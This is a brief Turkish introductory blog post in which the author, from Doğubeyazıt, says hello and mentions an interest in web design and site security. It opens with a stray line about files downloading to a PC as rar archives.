Böylece rarlanmış olarak inicek PC'ye dosyalar..

Merhaba

Merhaba arkadaşlar tüm arkadaşların blogu var bende bir tane blog açayım dedim. Kendim hakkında verebileceğim pek bir bilgi yok ama yinede bir kaç şey yazayım doğubeyazıtlıyım sanal ortamda web tasarımı olsun site güvenliği hakkında kendimi geliştirmeye çalışıyorum. Bazıları gibi kendimi kimseden üstünde görmüyorum kimsenin altında da değilim bu kadar yeter herhalde :D bloguda elimden geldiğince güncel tutmaya çalışacam.
Herşeyin hayırlısı olsun diyip konuyu bitirelim.